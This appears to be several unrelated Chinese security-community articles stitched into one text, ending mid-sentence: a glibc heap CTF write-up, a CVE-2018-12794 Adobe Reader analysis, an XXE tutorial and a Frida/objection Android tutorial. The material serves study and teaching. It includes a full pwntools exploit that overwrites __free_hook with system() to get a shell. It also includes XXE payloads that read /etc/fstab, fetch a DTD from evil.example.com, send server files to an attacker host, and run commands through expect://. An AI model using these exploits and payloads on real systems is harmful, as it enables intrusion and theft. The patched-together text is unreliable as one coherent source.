static struct malloc_state main_arena = //主分配区，由于是静态的，剩余的bins等被0初始化
{
.mutex = _LIBC_LOCK_INITIALIZER,
.next = &main_arena,
.attached_threads = 1
};
当初始化完成后进行第一次malloc时，由于fastbin、smallbin、Unsorted
Bin、LargeBin都是空的，因此直接进入最后use_top的逻辑
use_top:
victim = av->top;
size = chunksize(victim); //获取top chunk的size
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) //如果top 的空间足够，就切割top
{
remainder_size = size - nb;
remainder = chunk_at_offset(victim, nb);
av->top = remainder;
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
else if (have_fastchunks(av)) //再看一眼fastbin中有没有chunk
{
malloc_consolidate(av);
/* restore original bin index */
if (in_smallbin_range(nb))
idx = smallbin_index(nb);
else
idx = largebin_index(nb);
}
else//向OS申请
{
void *p = sysmalloc(nb, av);
if (p != NULL)
alloc_perturb(p, bytes);
return p;
}
由于av->top = (&av->bins[0]) – 0x10，相当于在main_arena上有一个虚拟的chunk，对应关系如下
main_arena virtual chunk
mchunkptr top; | prev_size
mchunkptr last_remainder; | size
mchunkptr bins[0]; | fd
mchunkptr bins[1]; | bk
由于默认0初始化，因此这个虚拟的top chunk size为0，会进入sysmalloc()函数，向系统申请内存，从而完成初始化
* 运行时再次初始化
根据上面的分析，初始化完成后，在运行中last_remainder不一定为0
如果再调用malloc_init_state进行初始化则：
av->top = (&av->bins[0]) - 0x10
av->top->size = av->last_remainder
相当于在libc上伪造了一个近乎无限大的chunk，只要不断malloc切割top chunk，就可以覆盖位于bins上面的__free_hook
### last_remainder机制
在遍历UB时，av->last_remainder指向被切割剩下的chunk，用于局部性优化，尽量让malloc到的内存地址相邻
* last_remainder chunk的切割，在遍历UB链表时进入下面的逻辑
* last_remainder chunk的设置，在UB整理完chunk后，根据申请的大小对chunk切割，有下面逻辑
综上，我们只要释放一个较大chunk进入UB中，然后申请一个较小的chunk来切割较大chunk，即可设置last_remainder指针
结合上再次初始化的漏洞，就可以在main_arena中伪造一个近乎无穷大的top chunk
## 例题
## 程序分析
* CreateBuf
* 0x400<sz<=0x4FF
* buf= malloc(sz),
* read(0, buf, sz)
* Create
* 0<sz<=0x1F
* ptr= malloc(sz),
* read(0, ptr, sz)
* Delete
* Free(buf)
* buf=0
* Mallopt
* mallopt(param, val)
## 思路
首先切割大chunk，让last_remaidner不为0
接着利用mallopt的漏洞设置global_fast_max为0
接着利用mallopt()->malloc_consolidate()->malloc_init_state()这一条调用链触发初始化
接下来就是不断申请内存切割top chunk，从而覆盖到__free_hook
为了尽量避免SIGV，申请的chunk要尽量大一些，这样写入的字符尽量少一些
## EXP
#! /usr/bin/python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
elf = ELF('./ba_zui_bi_shang')
sh = process('./ba_zui_bi_shang')
proc_base = sh.libs()[sh.cwd + sh.argv[0].strip('.')]
libc = ELF('./libc.so.6')
def Log(val):
log.success('%s = %s'%(str(val), hex(eval(val))))
def Cmd(i):
sh.recvuntil(' > ')
sh.sendline(str(i))
def Create(L, cont):
Cmd(1)
sh.sendlineafter(' > ', str(L))
sh.recvuntil(' > ')
sh.send(cont)
def Free():
Cmd(2)
def Mallopt(param, val):
Cmd(3)
sh.sendlineafter(' > ', str(param))
sh.sendlineafter(' > ', str(val))
def CreateBuf(L, cont, wait=True):
if(wait):
Cmd(4)
sh.sendlineafter(' > ', str(L))
sh.recvuntil(' > ')
sh.send(cont)
sh.recvuntil('Your Gift : ')
libc.address = int(sh.recvline(), 16) - libc.symbols['puts']
Log('libc.address')
CreateBuf(0x480, 'A'*0x480, False) #big chunk
Create(0x10, 'B'*0x10) #gap to avoid consolidate with top chunk
Free() #UB<=>(A, 0x490)
Create(0x10, 'C'*0x10) #split, av->last_remainder = heap addr
M_MXFAST = 1
Mallopt(M_MXFAST, 0x7) #global_max_fast = 0
Mallopt(M_MXFAST, 0x7) #mallopt()->malloc_consolidate()->malloc_init_state()
for i in range(5): #padding
CreateBuf(0x4F8, '\x00')
exp = '/bin/sh\x00' #system argv
exp+= '\x00'*0x318
exp+= p64(libc.symbols['system']) #__free_hook = system
CreateBuf(0x4F8, exp)
#getshell
Free()
sh.interactive()
'''
'''
## 总结
* 利用mallopt设置global_max_fast为0，引发main_arena重新初始化，在main_arena上构造出一个top chunk
* 利用last_remainder伪造top chunk 的size字段，从而在libc的maine_arena上任意写，不断申请直到覆盖掉__free_hook | 社区文章 |
# PDF漏洞（CVE-2018-12794）浅析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞简介
CVE-2018-12794属于类型混淆漏洞，产生漏洞原因是通过构建XML数据包（XML Data
Package，XDP）模版，并对XML表单体系结构（XML Forms
Architecture，XFA）对象执行某些JavaScript操作，攻击者就可以强制Adobe Reader从模版对象的边界引用数据。
2018年7月份，Adobe补丁更新：
### 漏洞基本信息
漏洞ID：CVE-2018-12794
漏洞名称：PDF类型混淆漏洞
漏洞类型：远程代码执行
威胁类型：类型混淆
影响版本：影响2018.011.20040及之前版本
## 漏洞测试
系统环境：Win7 32
Adobe Reader：2018.011.20040
PoC：https://github.com/thezdi/PoC/tree/master/CVE-2018-12794
### PoC分析
XML Data Package（XDP）是Adobe Systems创建的XML 文件格式。该格式允许将PDF内容或Adobe XML Forms
Architecture（XFA）资源打包在XML 容器中。XDP符合XML
1.0的规范，可以作为独立文档，也可以在PDF文档中携带。XDP提供了一种在XML容器中打包表单组件的机制，XDP还可以打包PDF文件以及XML表单和模板数据。
第1个object流对象里面的XFA（XML Forms
Architecture）对象会执行Java代码，该代码会操作sub1和sub2，先将sub1添加为xfa.template对象，sub2添加为xfa.from对象，然后将sub2附加到sub1。
最后执行Java代码将o2的presence属性设置为inactive ，该属性的含义为隐藏对象并将其从事件处理中排除。在执行该操作的时候将触发crash。
### 调试分析
通过gflags 开启页堆后，用Windbg附加Adobe Acrobat DC打开PoC文件。程序会停在发生crach的位置。
从上面调试信息中可以看到，异常出现在AcroForm.api模块，ecx的值异常导致程序crash，通过栈回溯可以定位到crash的上一层函数AcroForm!PlugInMain+0x979f1，反汇编该函数并观察ecx的值（ecx的值是直接传入crash函数使用）。
反汇编代码后发现ecx的值来自[eax+esi*8]，而esi只是一个偏移且为0，故ecx的值与eax有关，来自[edi+1d4h]。该地址的值是一些字符串，由此推测，是把该字符串的值当成了指针来引用，从而导致crash。
经多次调试发现[edi+1d4h]每次的值都不同，这个地址的值是未知的，如下图。
使用堆命令查看edi所在的空间大小为140h，猜测是一个对象指针或者一块申请的内存空间，而[edi+1d4h]显然已经是越界访问。
从代码中知道为XFA对象，参考《SyScan3602016-_Pwning_Adobe_Reader_with_XFA》报告
中给出的关于XFA内部对象的识别办法获取Type-IDs。使用uf poi(poi(对象地址)+8)的命令可以显示出Type-IDs。
可以看到类型为7C00h，说明了该堆块保存的就是一个XFA对象。
通过交叉引用得到 XFATemplateModelImpl 的虚表,再通过交叉引用构造函数就能找到这个对象大小为 140h 字节。
在XFATemplateModelFactoryImpl::newModel函数中可以看到申请了140h字节的空间，从函数名猜测这里是new一个大小为140h的Template对象。
在虚表进行交叉引用可定位到相应的初始化Form对象的地址，Form对象申请的空间大小是270h，
[edi+1d4h]的地址实际应该是读取的Form对象中的值，Template对象大小是140h，所以漏洞的根本原因是代码在处理Template对象时使用了Form对象的函数进行处理，造成了类型混淆漏洞。
## 参考资料
https://github.com/siberas/arpwn/blob/master/slidedecks/SyScan360_2016_-_Pwning_Adobe_Reader_with_XFA.pdf
https://xz.aliyun.com/t/4262
> [XFA 3.0:
> presence="inactive"](http://blogs.adobe.com/formfeed/2009/03/xfa_30_presenceinactive.html)
更多漏洞播报：[四维创智](http://www.4dogs.cn/) | 社区文章 |
# 【技术分享】XXE漏洞攻防之我见
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[ **激越王**](http://bobao.360.cn/member/contribute?uid=2577494374)
**预估稿费：400RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
你是否听说过xml注入攻击呢，或者对它只知其一不知其二呢？
现在让我们从xml相关基础知识开始，一步步了解xml攻击的原理和方式。
这篇文章主要针对扫盲，请大佬们轻喷，有错误的地方欢迎指出。
XML 被设计为传输和存储数据，其焦点是数据的内容。
HTML 被设计用来显示数据，其焦点是数据的外观。
XML 把数据从 HTML 分离。
XML 是独立于软件和硬件的信息传输工具。
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素，category为属性-->
<title>Everyday Italian</title> <!--book的子元素，lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
XML 中，一些字符拥有特殊的意义。为了避免这个错误，请用实体引用来代替特殊字符
附表一
附表一注释：在 XML 中，只有字符 "<" 和 "&" 确实是非法的。大于号是合法的，但是用实体引用来代替它是一个好习惯。
合法的 XML 文档是“形式良好”的 XML 文档，同样遵守文档类型定义 (DTD) 的语法规则。
**DTD介绍**
文档类型定义（DTD）可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中，也可作为一个外部引用。
带有 DTD 的 XML 文档实例
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
实例
源码
当DTD 位于 XML 源文件的外部，通过下面的语法被封装在一个 DOCTYPE 定义中
<!DOCTYPE root-element SYSTEM "filename">
外部DTD实例
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"><!--申明语句-->
<note>
<to>Dave</to>
<from>Tom</from>
<heading>Reminder</heading>
<body>You are a good man</body>
</note>
"note.dtd" 文件
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
实例
源码
dtd文件
PCDATA 的意思是被解析的字符数据（parsed character data）。PCDATA
是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。文本中的标签会被当作标记来处理，而实体会被展开。不过，被解析的字符数据不应当包含任何 &、<
或者 > 字符；需要使用 &、< 以及 > 实体来分别替换它们。
CDATA 的意思是字符数据（character data）。CDATA
是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待，其中的实体也不会被展开。
**DTD元素**
备注：由于仅仅是扩展，所以仅展示一些常用的元素语法
**DTD – 属性**
属性声明使用下列语法：
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTD 实例:
<!ATTLIST payment type CDATA "check">
XML 实例:
<payment type="check" />
以下是属性类型的选项：
默认值参数可使用下列值：
**DTD – 实体（重要）**
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。
**Schema 介绍（XSD）**
XML Schema 是基于 XML 的 DTD 替代者。
XML Schema 描述 XML 文档的结构。
XML Schema 语言也可作为 XSD（XML Schema Definition）来引用
但是目前XSD对本文的XXE攻击相关性不是太大，如果有大佬想深入了解可以到 <http://www.w3cschool.cn/xmlschema/> 或
<http://www.phpstudy.net/e/schema/> 学习
**攻击套路**
**一般技巧：**
1.引用外部实体远程文件读取
2.URL请求(可借此发起ssrf)
3.参数实体
4.通过 XInclude 包含外部资源
5.DoS
**1\. 外部实体引用**
通过外部实体引用，可以获取远程文件内容
本地实验：
test.txt 文件中的内容就是 123123admin
但是有个问题，如果文件内容格式太过复杂，就会导致 xml 解析失败(比如内容里含有 空格、一些特殊字符 < > & ; 之类的文件)
这个其实有绕过方法的，如上文所述，可以利用 参数实体，具体的内容后面介绍
还有一个我们知道的方法，就是使用 php 伪协议，php://filter 读取文件内容（ 文件内容经过 base64 过滤器，就是全字符的，没有格式干扰）
**2\. URL 请求(ssrf)**
直接使用外部实体引用就可以发起一个请求，原因是很多 xml 解析器读取到引用外部文件的模块时，就会强制性发出请求
本地实验:
首先在 172.16.169.153 监听 1231 端口：
在 172.16.169.142 利用 xml 发出请求（将 xml 放入浏览器即可）
如上图，浏览器一直处于加载内容状态，这是因为 153 的机器上没有返回信息…
172.16.169.153 的 1231 端口状态：
这个 ssrf 可以值得注意一下，因为对 xml 的攻击中，大都是使用 外部实体引用，那么如果直接加载 xml 的时候，禁止外部实体引用呢？
这种情况下，大多数攻击都会失效，但是 ssrf 不会
别忘了请求外部资源还有一种方式，直接使用 DOCTYPE
**3\. DoS**
任何能大量占用服务器资源的方法都可以造成 DoS，这个的原理就是递归引用
lol 实体具体还有 "lol" 字符串，然后一个 lol2 实体引用了 10 次 lol 实体，一个 lol3 实体引用了 10 次 lol2
实体，此时一个 lol3 实体就含有 10^2 个 "lol" 了，以此类推，lol9 实体含有 10^8 个 "lol" 字符串…
那么，引用 lol9，boom…
**4\. 参数实体**
参数实体，之前在远程文件读取的介绍中，可以绕过文件内容复杂导致解析失败的限制
参数实体以%开头 我们使用参数实体只需要遵循两条原则：
1.参数实体只能在DTD声明中使用。 2.参数实体中不能再引用参数实体。
如图，/etc/fstab 是一个内容复杂的文件，如果直接利用 SYSTEM 请求远程文件会解析出错的，也就是读不到文件内容。
那么就可以使用参数实体进行绕过 xml 严格的语法规则
其实流程很简单：
start 参数实体的内容： <! [CDATA[
goodies 参数实体的内容： file:///etc/fastab （使用 file 协议读取文件）
end 参数实体的内容：]]>
然后接着定义了一个 dtd 参数实体，使用 SYSTEM 发出获取 combine.dtd 的内容
并且在 DTD 内部引用了 dtd 参数实体，那么这个时候，源文件中的 DTD 应该是这样：
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///etc/fstab">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://evil.example.com/combine.dtd">
<!ENTITY all "%start;%goodies;%end;">
最后，再由源文件中引用 all 普通实体引发文件读取：
<roottag><! [CDATA["/etc/fstab文件的内容"]]></roottag>
其中这个 CDATA 的意思是为 文件内容添加属性：不被解析的普通字符
这样，参数实体的引用就不需要在xml文档解析的时候保持xml闭合,xml 解释器就会直接忽略文件内容的语法规则，达到了绕过的目的
攻击方ip：
http://192.168.229.130/
eval.dtd
1.php
服务器IP
http://192.168.229.128/
2.php
在攻击方的WEB目录上有一个叫做eval.dtd文件用于攻击，然后在服务器上传2.php，执行2.php
报错没关系。
下面看一下代码：
1.php:
简单的接受get参数传的内容然后保存在1.txt下
EVAL.DTD文件的内容为
这里注意使用参数实体时，在引用实体的格式中需要编码用%代替 %，由于嵌套引用外部参数实体，如果直接利用%，在引用的时候会导致找不到该参数实体名称
作用为将接受到外部file实体应用到1.php?file=的%file上
这样在服务器上传来的内容就会传到file参数上然后保存到1.txt上
在2.PHP文件中
第一个ENTITY用于读取服务器本地文件test.txt
第二个用于引用远程dtd文件
然后在实体利用上需要注意顺序，先执行名为dtd实体引用攻击方eval.dtd的代码获得了实体send的执行方式http://192.168.229.130/1.php?file=%file;
然后将file实体获得的内容引用到192.168.229.130/1.php?file
至此攻击完成，攻击方服务器以保存了1.txt
这里提一下前面说过的，在读取文件的时候当存在空格，尖括号的时候这种直接读取内容的方式会报错
显示无效url，抓包时抓不到在浏览器上访问http://192.168.229.130/1.php?file=blessing software的包
结合之前的的协议应用，可以使用常用的php://filter读取base64编码
如下
解码即可。
只是选了几个协议作为例子，这里的协议都能使用。
这里附加几个关于xxe漏洞的英文文档和实例：
<http://www.synacktiv.fr/ressources/synacktiv_drupal_xxe_services.pdf>
<http://www.2cto.com/article/201506/404505.html> —-Z-BLOG任意文件读取
**5\. 通过 Xinclude 包含外部资源**
基于XInclude的文件包含,使用的另一套 xml 语法约束：XML schema
XInclude提供了一种较为方便的取回数据的思路(再也不用担心数据不完整而导致parser抛出一个错误)而我们能够通过parse属性，强制引用文件的类型。
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/fstab" parse="text"/>
</root>
不过Xinclude需要手动开启，测试发现所有xml parser都默认关闭这一特性。
**PHP 和 JAVA 环境**
**php 支持的扩展协议**
**Java &Xerces**
默认的Oracle's Java Runtime Environment下的XML
parser是Xerces，一个apache的项目。而Xerces和Java提供了一系列的特性，这些特性又能导致一些严重的安全问题。上述的那些攻击手法(DOCTYPEs
for SSRF,文件读取,参数实体的外带数据)在java的默认配置下能够运用自如,java/Xerces也支持XInclude
但是需要setXIncludeAware(true) 和setNamespaceAware(true)。
**php &expect的RCE**
很遗憾，这个扩展并不是默认安装的，然而安装了这个扩展的XXE漏洞，是能够执行任意命令。
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
还有 python、.net 环境等
**防御**
**1 直接使用开发语言提供的禁用外部实体的方法**
这样其实没法防御 xml 制造的 ssrf
PHP：
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python：
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
**2 过滤用户提交的 xml 数据**
敏感关键词： <!DOCTYPE 、 <!ENTITY、SYSTEM、PUBLIC
**总结**
XML 攻击大都是由解析器发出外部资源请求而造成的，还有结合一些协议的特性可以轻松绕过 xml 格式要求。其中主要的关键字
DOCTYPE（DTD的声明），ENTITY（实体的声明）， SYSTEM、PUBLIC（外部资源申请）。
由与 普通实体 和 参数实体 的灵活引用，从而引发各种套路
**资料来源**
<http://www.w3cschool.cn/xml>
<http://www.w3cschool.cn/dtd>
<http://www.phpstudy.net/e/xml>
<http://www.w3school.com.cn/dtd/dtd_intro.asp>
<https://security.tencent.com/index.php/blog/msg/69>
<http://blog.csdn.net/u011721501/article/details/43775691>
<https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing>
<https://msdn.microsoft.com/en-us/magazine/ee335713.aspx>
<https://www.vsecurity.com//download/papers/XMLDTDEntityAttacks.pdf>
<http://www.myhack58.com/Article/html/3/8/2016/70831_3.htm>
<http://www.freebuf.com/articles/web/97833.html>
<http://blog.csdn.net/lijizh1013/article/details/8056304>
<http://www.w3school.com.cn/dtd/dtd_intro.asp>
<http://www.w3school.com.cn/schema/schema_intro.asp>
<http://www.cnblogs.com/mengdd/archive/2013/05/30/3107361.html> | 社区文章 |
# 实用FRIDA进阶：内存漫游、hook anywhere、抓包
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本章中我们进一步介绍，大家在学习和工作中使用`Frida`的实际场景，比如动态查看安卓应用程序在当前内存中的状态，比如指哪儿就能`hook`哪儿，比如脱壳，还有使用`Frida`来自动化获取参数、返回值等数据，主动调用API获取签名结果`sign`等工作实际高频场景，最后介绍一些经常遇到的高频问题解决思路，希望可以切实地帮助到读者。
## 1 内存漫游
`Frida`只是提供了各种`API`供我们调用，在此基础之上可以实现具体的功能，比如禁用证书绑定之类的脚本，就是使用`Frida`的各种`API`来组合编写而成。于是有大佬将各种常见、常用的功能整合进一个工具，供我们直接在命令行中使用，这个工具便是`objection`。
`objection`功能强大，命令众多，而且不用写一行代码，便可实现诸如内存搜索、类和模块搜索、方法`hook`打印参数返回值调用栈等常用功能，是一个非常方便的，逆向必备、内存漫游神器。`objection`的界面及命令如下图图2-1所示。
图2-1 `objection`基本界面及命令
### 1.1 获取基本信息
首先介绍几个基本操作：
* 键入命令之后，回车执行；
* help：不知道当前命令的效果是什么，在当前命令前加`help`比如，`help env`，回车之后会出现当前命令的解释信息；
* 按空格：不知道输入什么就按空格，会有提示出来，上下选择之后再按空格选中，又会有新的提示出来；
* jobs：作业系统很好用，建议一定要掌握，可以同时运行多项(`hook`)作业；
我们以安卓内置应用“设置”为例，来示范一下基本的用法。
在手机上启动`frida-server`，并且点击启动“设置”图标，手机进入设置的界面，首先查看一下“设置”应用的包名。
# frida-ps -U|grep -i setting
7107 com.android.settings
13370 com.google.android.settings.intelligence
再使用`objection`注入“设置”应用。
# objection -g com.android.settings explore
启动`objection`之后，会出现提示它的`logo`，这时候不知道输入啥命令的话，可以按下空格，有提示的命令及其功能出来；再按空格选中，又会有新的提示命令出来，这时候按回车就可以执行该命令，见下图2-2执行的应用环境信息命令`env`和`frida-server`版本信息命令。
图2-2 应用环境信息和`frida-server`版本信息
### 1.2 提取内存信息
* 查看内存中加载的库
运行命令`memory list modules`，效果如下图2-3所示。
图2-3 内存中加载的库
* 查看库的导出函数
运行命令`memory list exports libssl.so`，效果如下图2-4所示。
图2-4 `libssl.so`库的导出函数
* 将结果保存到`json`文件中
当结果太多，终端无法全部显示的时候，可以将结果导出到文件中，然后使用其他软件查看内容，见下图2-5。
# memory list exports libart.so --json /root/libart.json
Writing exports as json to /root/libart.json...
Wrote exports to: /root/libart.json
图2-5 使用`json`格式保存的`libart.so`的导出函数
* 提取整个(或部分)内存
命令是`memory dump all from_base`，这部分内容与下文脱壳部分有重叠，我们在脱壳部分介绍用法。
* 搜索整个内存
命令是`memory search --string --offsets-only`，这部分也与下文脱壳部分有重叠，我们在脱壳部分详细介绍用法。
### 1.3 内存堆搜索与执行
* 在堆上搜索实例
我们查看[`AOSP`源码关于设置里显示系统设置的部分](http://androidxref.com/9.0.0_r3/xref/packages/apps/Settings/src/com/android/settings/DisplaySettings.java)，发现存在着`DisplaySettings`类，可以在堆上搜索是否存在着该类的实例。首先在手机上点击进入“显示”设置，然后运行以下命令，并得到相应的实例地址：
# android heap search instances com.android.settings.DisplaySettings
Using exsiting matches for com.android.settings.DisplaySettings. Use --fresh flag for new instances.
Handle Class toString()
-------- ------------------------------------ ----------------------------------------- 0x252a com.android.settings.DisplaySettings DisplaySettings{69d91ee #0 id=0x7f0a0231}
* 调用实例的方法
查看源码得知`com.android.settings.DisplaySettings`类有着`getPreferenceScreenResId()`方法（后文也会介绍在`objection`中直接打印类的所有方法的命令），这样就可以直接调用该实例的`getPreferenceScreenResId()`方法，用`excute`命令。
# android heap execute 0x2526 getPreferenceScreenResId
Handle 0x2526 is to class com.android.settings.DisplaySettings
Executing method: getPreferenceScreenResId()
2132082764
可见结果被直接打印了出来。
* 在实例上执行`js`代码
也可以在找到的实例上直接编写`js`脚本，输入`android heap evaluate
0x2526`命令后，会进入一个迷你编辑器环境，输入`console.log("evaluate
result:"+clazz.getPreferenceScreenResId())`这串脚本，按`ESC`退出编辑器，然后按回车，即会开始执行这串脚本，输出结果。
# android heap evaluate 0x2526
(The handle at `0x2526` will be available as the `clazz` variable.)
console.log("evaluate result:"+clazz.getPreferenceScreenResId())
JavaScript capture complete. Evaluating...
Handle 0x2526 is to class com.android.settings.DisplaySettings
evaluate result:2132082764
这个功能其实非常厉害，可以即时编写、出结果、即时调试自己的代码，不用再编写→注入→操作→看结果→再调整，而是直接出结果。
### 1.4 启动`activity`或`service`
* 直接启动`activity`
直接上代码，想要进入显示设置，可以在任意界面直接运行以下代码进入显示设置：
# android intent launch_activity com.android.settings.DisplaySettings
(agent) Starting activity com.android.settings.DisplaySettings...
(agent) Activity successfully asked to start.
* 查看当前可用的`activity`
可以使用`android hooking list`命令来查看当前可用的`activities`，然后使用上述命令进行调起。
# android hooking list activities
com.android.settings.ActivityPicker
com.android.settings.AirplaneModeVoiceActivity
com.android.settings.AllowBindAppWidgetActivity
com.android.settings.AppWidgetPickActivity
com.android.settings.BandMode
com.android.settings.ConfirmDeviceCredentialActivity
com.android.settings.CredentialStorage
com.android.settings.CryptKeeper$FadeToBlack
com.android.settings.CryptKeeperConfirm$Blank
com.android.settings.DeviceAdminAdd
com.android.settings.DeviceAdminSettings
com.android.settings.DisplaySettings
com.android.settings.EncryptionInterstitial
com.android.settings.FallbackHome
com.android.settings.HelpTrampoline
com.android.settings.LanguageSettings
com.android.settings.MonitoringCertInfoActivity
com.android.settings.RadioInfo
com.android.settings.RegulatoryInfoDisplayActivity
com.android.settings.RemoteBugreportActivity
com.android.settings.RunningServices
com.android.settings.SetFullBackupPassword
com.android.settings.SetProfileOwner
com.android.settings.Settings
com.android.settings.Settings
com.android.settings.Settings$AccessibilityDaltonizerSettingsActivity
com.android.settings.Settings$AccessibilitySettingsActivity
com.android.settings.Settings$AccountDashboardActivity
com.android.settings.Settings$AccountSyncSettingsActivity
com.android.settings.Settings$AdvancedAppsActivity
* 直接启动`service`
也可以先使用`android hooking list services`查看可供开启的服务，然后使用`android intent
launch_service com.android.settings.bluetooth.BluetoothPairingService`命令来开启服务。
## 2 Frida hook anywhere
很多新手在学习`Frida`的时候，遇到的第一个问题就是，无法找到正确的类及子类，无法定位到实现功能的准确的方法，无法正确的构造参数、继而进入正确的重载，这时候可以使用`Frida`进行动态调试，来确定以上具体的名称和写法，最后写出正确的`hook`代码。
### 2.1 objection（内存漫游）
* 列出内存中所有的类
# android hooking list classes
sun.util.logging.LoggingSupport
sun.util.logging.LoggingSupport$1
sun.util.logging.LoggingSupport$2
sun.util.logging.PlatformLogger
sun.util.logging.PlatformLogger$1
sun.util.logging.PlatformLogger$JavaLoggerProxy
sun.util.logging.PlatformLogger$Level
sun.util.logging.PlatformLogger$LoggerProxy
void
Found 11885 classes
* 内存中搜索所有的类
在内存中所有已加载的类中搜索包含特定关键词的类。
# android hooking search classes display
[Landroid.hardware.display.WifiDisplay;
[Landroid.icu.impl.ICUCurrencyDisplayInfoProvider$ICUCurrencyDisplayInfo$CurrencySink$EntrypointTable;
[Landroid.icu.impl.LocaleDisplayNamesImpl$CapitalizationContextUsage;
[Landroid.icu.impl.LocaleDisplayNamesImpl$DataTableType;
[Landroid.icu.number.NumberFormatter$DecimalSeparatorDisplay;
[Landroid.icu.number.NumberFormatter$SignDisplay;
[Landroid.icu.text.DisplayContext$Type;
[Landroid.icu.text.DisplayContext;
[Landroid.icu.text.LocaleDisplayNames$DialectHandling;
[Landroid.view.Display$Mode;
[Landroid.view.Display;
android.app.Vr2dDisplayProperties
android.hardware.display.AmbientBrightnessDayStats
android.hardware.display.AmbientBrightnessDayStats$1
android.hardware.display.BrightnessChangeEvent
com.android.settings.wfd.WifiDisplaySettings$SummaryProvider
com.android.settings.wfd.WifiDisplaySettings$SummaryProvider$1
com.android.settingslib.display.BrightnessUtils
com.android.settingslib.display.DisplayDensityUtils
com.google.android.gles_jni.EGLDisplayImpl
javax.microedition.khronos.egl.EGLDisplay
Found 144 classes
* 内存中搜索所有的方法
在内存中所有已加载的类的方法中搜索包含特定关键词的方法，上文中可以发现，内存中已加载的类就已经高达`11885`个了，那么他们的方法一定是类的个数的数倍，整个过程会相当庞大和耗时，见下图2-6。
# android hooking search methods display
图2-6 内存中搜索所有的方法
* 列出类的所有方法
当搜索到了比较关心的类之后，就可以直接查看它有哪些方法，比如我们想要查看`com.android.settings.DisplaySettings`类有哪些方法：
# android hooking list class_methods com.android.settings.DisplaySettings
private static java.util.List<com.android.settingslib.core.AbstractPreferenceController> com.android.settings.DisplaySettings.buildPreferenceControllers(android.content.Context,com.android.settingslib.core.lifecycle.Lifecycle)
protected int com.android.settings.DisplaySettings.getPreferenceScreenResId()
protected java.lang.String com.android.settings.DisplaySettings.getLogTag()
protected java.util.List<com.android.settingslib.core.AbstractPreferenceController> com.android.settings.DisplaySettings.createPreferenceControllers(android.content.Context)
public int com.android.settings.DisplaySettings.getHelpResource()
public int com.android.settings.DisplaySettings.getMetricsCategory()
static java.util.List com.android.settings.DisplaySettings.access$000(android.content.Context,com.android.settingslib.core.lifecycle.Lifecycle)
Found 7 method(s)
列出的方法与[源码](http://androidxref.com/9.0.0_r3/xref/packages/apps/Settings/src/com/android/settings/DisplaySettings.java)相比对之后，发现是一模一样的。
* 直接生成`hook`代码
上文中在列出类的方法时，还直接把参数也提供了，也就是说我们可以直接动手写`hook`了，既然上述写`hook`的要素已经全部都有了，`objection`这个“自动化”工具，当然可以直接生成代码。
# android hooking generate simple com.android.settings.DisplaySettings
Java.perform(function() {
var clazz = Java.use('com.android.settings.DisplaySettings');
clazz.getHelpResource.implementation = function() {
//
return clazz.getHelpResource.apply(this, arguments);
}
});
Java.perform(function() {
var clazz = Java.use('com.android.settings.DisplaySettings');
clazz.getLogTag.implementation = function() {
//
return clazz.getLogTag.apply(this, arguments);
}
});
Java.perform(function() {
var clazz = Java.use('com.android.settings.DisplaySettings');
clazz.getPreferenceScreenResId.implementation = function() {
//
return clazz.getPreferenceScreenResId.apply(this, arguments);
}
});
生成的代码大部分要素都有了，只是参数貌似没有填上，还是需要我们后续补充一些，看来还是无法做到完美。
### 2.2 objection（hook）
上述操作均是基于在内存中直接枚举搜索，已经可以获取到大量有用的静态信息，我们再来介绍几个方法，可以获取到执行时动态的信息，当然、同样地，不用写一行代码。
* `hook`类的所有方法
我们以手机连接蓝牙耳机播放音乐为例为例，看看手机蓝牙接口的动态信息。首先我们将手机连接上我的蓝牙耳机——一加蓝牙耳机`OnePlus Bullets
Wireless
